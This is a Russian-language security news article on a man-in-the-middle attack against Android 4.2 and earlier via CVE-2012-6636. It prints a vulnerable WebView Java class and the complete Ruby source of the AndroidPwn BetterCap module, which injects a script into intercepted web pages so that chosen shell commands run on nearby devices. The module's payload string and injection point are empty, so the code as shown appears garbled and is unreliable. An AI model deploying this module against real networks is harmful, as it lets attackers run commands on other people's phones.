Исследователь безопасности Симон Маргарителли (Simone Margaritelli) обнаружил способ атаки на операционную систему Android (устаревшие версии), позволяющий скомпрометировать любое устройство под управлением устаревшей версии мобильной ОС. Используя исправленную в 2012 году уязвимость и ПО для осуществления атак «человек посередине» BetterCap, злоумышленник может выполнить произвольные команды на устройстве.
В ходе атаки необходимо проэксплуатировать уязвимость CVE-2012-6636. Ошибка позволяет выполнить произвольные команды через приложение, использующее элементы управления интерфейсом на WebView и декларирующее собственный JavaScript-интерфейс с помощью следующего кода:
public class WebViewGUI extends Activity {
WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mWebView=new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
mWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mWebView);
}
final class JavaScriptInterface {
JavaScriptInterface () { }
public String getSomeString() {
return "string";
}
}
}
.
Удаленный пользователь может вставить специально сформированный JavaScript-сценарий в страницу. Запуск скрипта позволит выполнить произвольные команды.
Исследователь написал прокси-модуль AndroidPwn, позволяющий в автоматическом режиме осуществлять атаки «человек посередине» против всех устройств, находящихся в сети. Разработка специалиста также использует BetterCap – специализированное ПО для автоматического осуществления подобных атак. Код модуля представлен ниже:
class AndroidPwn < BetterCap::Proxy::Module
@@command = nil
@@payload = ""
def self.on_options(opts)
opts.separator ""
opts.separator "AndroidPwn Proxy Module Options:"
opts.separator ""
opts.on( '--command STRING', 'Shell command(s) to execute.' ) do |v|
@@command = v.strip
@@payload['COMMAND_HERE'] = @@command.gsub( "'", "\\\\'" )
end
end
def initialize
raise BetterCap::Error, "No --command option specified for the proxy module." if @@command.nil?
end
def on_request( request, response )
if is_exploitable?( request, response )
BetterCap::Logger.info ""
BetterCap::Logger.info "Pwning Android Device :".red
BetterCap::Logger.info " URL : http://#{request.host}#{request.url}"
BetterCap::Logger.info " AGENT : #{request.headers['User-Agent']}"
BetterCap::Logger.info ""
response.body.sub!( '', "#{@@payload}" )
end
end
private
def is_exploitable?(req,res)
req.headers.has_key?('User-Agent') and \
req.headers['User-Agent'].include?("Android") and \
req.headers['User-Agent'].include?("AppleWebKit") and \
res.content_type =~ /^text\/html.*/ and \
res.code == '200'
end
end
Модуль автоматически осуществляет атаки «человек посередине» на все устройства под управлением Android 4.2 в сети под контролем злоумышленника. AndroidPwn позволяет выборочно компрометировать выбранные устройства.
Единственным способом защититься от атак с применением AndroidPwn является обновление до более современной версии Android. В настоящее время Android 4.2 и более ранние версии используются на 27,1% всех мобильных устройств, где установлена данная ОС.